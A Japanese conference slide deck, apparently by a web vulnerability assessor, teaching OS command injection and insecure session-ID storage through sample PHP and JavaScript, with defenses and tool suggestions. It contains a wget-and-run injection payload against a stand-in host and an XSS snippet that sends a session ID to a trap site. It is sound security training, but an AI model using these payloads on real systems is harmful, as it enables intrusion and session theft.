SlideShare a Scribd company logo
ソースで学ぶ脆弱性診断
SmartTechGeeks #2 桃原 裕太
名前 桃原 裕太 / とうばる ゆうた
所属 株式会社 シーエー・アドバンス 技術統括本部
経歴 前職
 ・ECサイト等の開発
株式会社 シーエー・アドバンス
 ・社内ツールの開発
 ・脆弱性診断の業務に携わって約4年
業務 Webアプリケーション脆弱性診断
 ・PCブラウザ向けアプリ
 ・SPブラウザ向けアプリ
 ・Androidアプリ
 ・iOSアプリ
自己紹介
脆弱性診断とは
Webサイトに脆弱性がないか、擬似攻撃を行って調査しています。
サービスを健全な状態に保つことで外部からの攻撃を防ぎます。
注意
本資料で紹介した内容について
他者が管理しているサービスでは
試さないようにお願いします。
今回のテーマ
サンプルソースをもとに、
脆弱性について一緒に考えていきたいと思います。
❏ どのような脆弱性か?
❏ どのような影響があるのか?
❏ どのように対策したらいいの?
脆弱性の例
クロスサイトスクリプティング
SQLインジェクション
OSコマンドインジェクション
アクセス権 等
最近だと…
WordPress の脆弱性がありましたね
【参考URL】https://www.ipa.go.jp/security/ciadr/vul/20170206-wordpress.html
対 象 WordPress 4.7.0 から WordPress 4.7.1
影 響
REST API の脆弱性を悪用することで
コンテンツが改ざんされる
対 策 WordPress 4.7.2 へアップデートする
問題!
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
OSコマンドインジェクション
http://hoge.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header(“Location: http://hoge.com/login"); exit();
$yyyymm = $_POST[“yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
①バッチを動かす
php /batch/order_summary.php 201701;
②sleepコマンドで10秒停止
sleep 10;
OSコマンドインジェクション
なぜsleepコマンド?
❏ yyyymm=201701 の場合
※レスポンスが返ってくるまでに1秒かかる
❏ yyyymm=201701;sleep 10; の場合
※レスポンスが返ってくるまでに11秒かかる
OSコマンドインジェクション
外部の人でも
sleepコマンドを投げることで
脆弱性があるか判別できます
※試す場合は、許可を得たサイトだけにしてください。
他者のサービスで試すと不正アクセスで
訴えられる恐れがあります
OSコマンドインジェクション
影響
❏ 不正なファイルのDLと実行
❏ ;wget http://example.com/evil.txt -O evil.php;php evil.php;
❏ ツールの取得(yum, apt-get)
❏ ファイル削除 (rm)
❏ OSシャットダウン(shutdown)
❏ その他いろいろ
OSコマンドインジェクション
対策 ※一例ですが…
❏ OSコマンドに渡すパラメータを
安全な関数によりエスケープする。
(すべて数字で構成されているか)
❏ 外部から入力された文字列を
コマンドラインのパラメータに渡さない
(画面ではなく、バックエンドでの定期実行に変える)
次の問題!
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/login.php
<!-- javascript -->
// ログイン処理
fetch('/login_fetch.php', {
method: 'POST',
body: new FormData(document.getElementById('form1')),
})
// レスポンス取得
.then(response => response.json())
// WebストレージにセッションIDを格納
.then(json =>
localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));
問題(どのような脆弱性があるでしょうか?)
http://hoge.com/login.php
<!-- javascript -->
// ログイン処理
fetch('/login_fetch.php', {
method: 'POST',
body: new FormData(document.getElementById('form1')),
})
// レスポンス取得
.then(response => response.json())
// WebストレージにセッションIDを格納
.then(json =>
localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));
WebStorageにセッションIDを保存している
WebStorageへの機密情報の保存
セッションIDを盗まれてしまう可能性があります
セッションIDが盗まれる例 ※サイト内にXSSがある場合になります…
1. XSSを利用して、下記scriptを埋め込みます。
2. 結果、罠サイトへアクセスする際にセッションIDが漏洩します。
<!-- javascript -->
ses_id = localStorage.getItem('session_id');
img = $('<img src="http://fuga.com/1.png?session_id='+ses_id+'">');
$('body').append(img); // bodyの一番下にimgタグ追加
WebStorageへの機密情報の保存
セッション情報が送信されたサイトのアクセスログ
192.168.99.1 - - [08/Feb/2017:06:06:04 +0000] "GET/1.png?session_id=s1234
HTTP/1.1" 404 497 "http://192.168.99.100/xss.php" "Mozilla/5.0 (Windows NT 6.1;
Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87
Safari/537.36"
GET/1.png?session_id=s1234 HTTP/1.1
アクセスログに残っている "s1234" を使うことで
対象サイトでなりすましできる
WebStorageへの機密情報の保存
影響
XSSと組み合わせることでデータの取得や設定が可能に
・セッションIDの取得や上書き
・個人情報の取得 等
対策(一例)
セッション情報はCookieで保持するようにします。
HttponlyやSecure属性を設定し、適切に保護。
実際に脆弱性診断する
ときはどうしているか?
実際に脆弱性診断するときはどうしているか
診断ツールを使って確認しています。
・自動診断(XSS, インジェクション攻撃 ... etc)
・手動診断(CSRF, アクセス権 ... etc)
ツールで検出しやすいものは自動診断
それ以外項目は手動診断しています。
脆弱性診断で使うツール
診断効率をあげるためのツールのご紹介
❏ Burp Suite  ※弊社でも使ってます
❏ OWASP ZAP
❏ Fiddler
※試す場合は、許可を得たサイトだけにしてください。
 他者のサービスで試すと不正アクセスで訴えられる恐れがあります。
もし脆弱性診断に興味が出てきたら(その1)
IPAでセキュリティ理解を深めるための資料を公開しています。(無料)
安全なウェブサイトの作り方
https://www.ipa.go.jp/security/vuln/websecurity.html
脆弱性体験学習ツール AppGoat
https://www.ipa.go.jp/security/vuln/appgoat/
もし脆弱性診断に興味が出てきたら(その2)
http://qiita.com/organizations/ca-adv にもあるので解いてみてください
おわりに
まとめ、と補足
❏ Webアプリケーション脆弱性診断について
少しでも理解してもらえると幸いです。
❏ OSコマンドインジェクションは危ない!
❏ ふつうに開発してるだけだと脆弱性は入ってしまうので、ぜひ
対策をご検討ください。
❏ セキュリティの専門家に依頼する
❏ 社内でセキュリティ意識を高める ... etc
ご清聴ありがとうございました

More Related Content

PDF
コンテナ未経験新人が学ぶコンテナ技術入門
PPT
DNS移転失敗体験談
PDF
私たちはRESTCONFでネットワーク自動化的に何が嬉しくなるのか考えてみた
PDF
新入社員のための大規模ゲーム開発入門 サーバサイド編
PDF
セキュアエレメントとIotデバイスセキュリティ2
PDF
Hive on Tezのベストプラクティス
PDF
ゼロからはじめるKVM超入門
PDF
初心者向けCTFのWeb分野の強化法
コンテナ未経験新人が学ぶコンテナ技術入門
DNS移転失敗体験談
私たちはRESTCONFでネットワーク自動化的に何が嬉しくなるのか考えてみた
新入社員のための大規模ゲーム開発入門 サーバサイド編
セキュアエレメントとIotデバイスセキュリティ2
Hive on Tezのベストプラクティス
ゼロからはじめるKVM超入門
初心者向けCTFのWeb分野の強化法

What's hot (20)

PDF
show コマンド結果をパースする方法あれこれ #npstudy
PPTX
トランザクションをSerializableにする4つの方法
PPTX
Rootlessコンテナ
PDF
ネットワークの自動化・監視の取り組みについて #netopscoding #npstudy
PDF
2022国際ロボット展に見る産業用ロボットの最新技術動向
PDF
PHPで大規模ブラウザゲームを開発してわかったこと
PDF
AlmaLinux と Rocky Linux の誕生経緯&比較
PPTX
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
PDF
[B11] 基礎から知るSSD(いまさら聞けないSSDの基本) by Hironobu Asano
PPTX
Gstreamer Basics
PPTX
初心者向けMongoDBのキホン!
PDF
Magnum IO GPUDirect Storage 最新情報
PPTX
ポスト・ラムダアーキテクチャの切り札? Apache Hudi(NTTデータ テクノロジーカンファレンス 2020 発表資料)
PDF
情報科学における18のメタテクニック
PDF
スキーマレスカラムナフォーマット「Yosegi」で実現する スキーマの柔軟性と処理性能を両立したログ収集システム / Hadoop / Spark Con...
PDF
Hyper-V、オンプレミスでもコンテナを
PDF
Dockerからcontainerdへの移行
PDF
Apache Arrow Flight – ビッグデータ用高速データ転送フレームワーク #dbts2021
PDF
レコメンドエンジン作成コンテストの勝ち方
show コマンド結果をパースする方法あれこれ #npstudy
トランザクションをSerializableにする4つの方法
Rootlessコンテナ
ネットワークの自動化・監視の取り組みについて #netopscoding #npstudy
2022国際ロボット展に見る産業用ロボットの最新技術動向
PHPで大規模ブラウザゲームを開発してわかったこと
AlmaLinux と Rocky Linux の誕生経緯&比較
今から始めるWebClient(JSUG勉強会 2020年その6 LT大会)
[B11] 基礎から知るSSD(いまさら聞けないSSDの基本) by Hironobu Asano
Gstreamer Basics
初心者向けMongoDBのキホン!
Magnum IO GPUDirect Storage 最新情報
ポスト・ラムダアーキテクチャの切り札? Apache Hudi(NTTデータ テクノロジーカンファレンス 2020 発表資料)
情報科学における18のメタテクニック
スキーマレスカラムナフォーマット「Yosegi」で実現する スキーマの柔軟性と処理性能を両立したログ収集システム / Hadoop / Spark Con...
Hyper-V、オンプレミスでもコンテナを
Dockerからcontainerdへの移行
Apache Arrow Flight – ビッグデータ用高速データ転送フレームワーク #dbts2021
レコメンドエンジン作成コンテストの勝ち方
Ad

Viewers also liked (20)

PDF
Webアプリケーション脆弱性診断について
PDF
MongoDBの脆弱性診断 - smarttechgeeks
DOCX
DOCX
Pengertian dan Sejarah Software Open Source
DOCX
Maestro conoce a sus alumnos
RTF
Talia's Resume'
PPTX
Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года  и п...
PDF
Pak janggut kapal dari es
PPTX
Web applicationpenetrationtest その3
PPTX
Tipos de condicionales
PPTX
Refugios temporales
PDF
担当Pjのciにserverless frameworkを導入した話
PPTX
HFCC 創新場域工作坊
PPTX
email in our daily life
PDF
Tablete de-stil-de-viata-sanatatea
PDF
Dockerでデプロイ
PPTX
Presentation employees Nutricia
PDF
Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...
PPTX
Gender differences in symptomatology of autism spectrum disorder
PPTX
Bioaccumulation & biomagnifications
Webアプリケーション脆弱性診断について
MongoDBの脆弱性診断 - smarttechgeeks
Pengertian dan Sejarah Software Open Source
Maestro conoce a sus alumnos
Talia's Resume'
Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года  и п...
Pak janggut kapal dari es
Web applicationpenetrationtest その3
Tipos de condicionales
Refugios temporales
担当Pjのciにserverless frameworkを導入した話
HFCC 創新場域工作坊
email in our daily life
Tablete de-stil-de-viata-sanatatea
Dockerでデプロイ
Presentation employees Nutricia
Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...
Gender differences in symptomatology of autism spectrum disorder
Bioaccumulation & biomagnifications
Ad

Similar to ソースで学ぶ脆弱性診断 - SmartTechGeeks #2 (20)

PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
PDF
とある診断員と色々厄介な脆弱性達
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PPTX
Mix Leap 0214 security
PDF
2017年のセキュリティ 傾向と対策講座
PDF
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
PPTX
Security Learning Vol2 話題の脆弱性をコードで紐解く!
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
PDF
Webアプリケーション脆弱性診断のご紹介_コンピューターサイエンス株式会社
PDF
脆弱性もバグ、だからテストしよう PHPカンファンレス2015
PPTX
サーバーフレームワークに潜んでる脆弱性検知ツール紹介
PPTX
安全なPHPアプリケーションの作り方2016
ODP
ライブコーディングとデモで理解するWebセキュリティの基礎
PDF
脆弱性もバグ、だからテストしよう DevSummiFukuoka
PDF
「最近のwebアプリケーションの脆弱性やそれを悪用する攻撃の動向」OWASP Kansai
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
PDF
Blojsom におけるクロスサイトスクリプティングの脆弱性
PDF
なぜ自社で脆弱性診断を行うべきなのか
PPTX
若手エンジニアのためのセキュリティ講座
PPTX
HTML5 Web アプリケーションのセキュリティ
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
とある診断員と色々厄介な脆弱性達
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Mix Leap 0214 security
2017年のセキュリティ 傾向と対策講座
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
Security Learning Vol2 話題の脆弱性をコードで紐解く!
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Webアプリケーション脆弱性診断のご紹介_コンピューターサイエンス株式会社
脆弱性もバグ、だからテストしよう PHPカンファンレス2015
サーバーフレームワークに潜んでる脆弱性検知ツール紹介
安全なPHPアプリケーションの作り方2016
ライブコーディングとデモで理解するWebセキュリティの基礎
脆弱性もバグ、だからテストしよう DevSummiFukuoka
「最近のwebアプリケーションの脆弱性やそれを悪用する攻撃の動向」OWASP Kansai
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Blojsom におけるクロスサイトスクリプティングの脆弱性
なぜ自社で脆弱性診断を行うべきなのか
若手エンジニアのためのセキュリティ講座
HTML5 Web アプリケーションのセキュリティ

ソースで学ぶ脆弱性診断 - SmartTechGeeks #2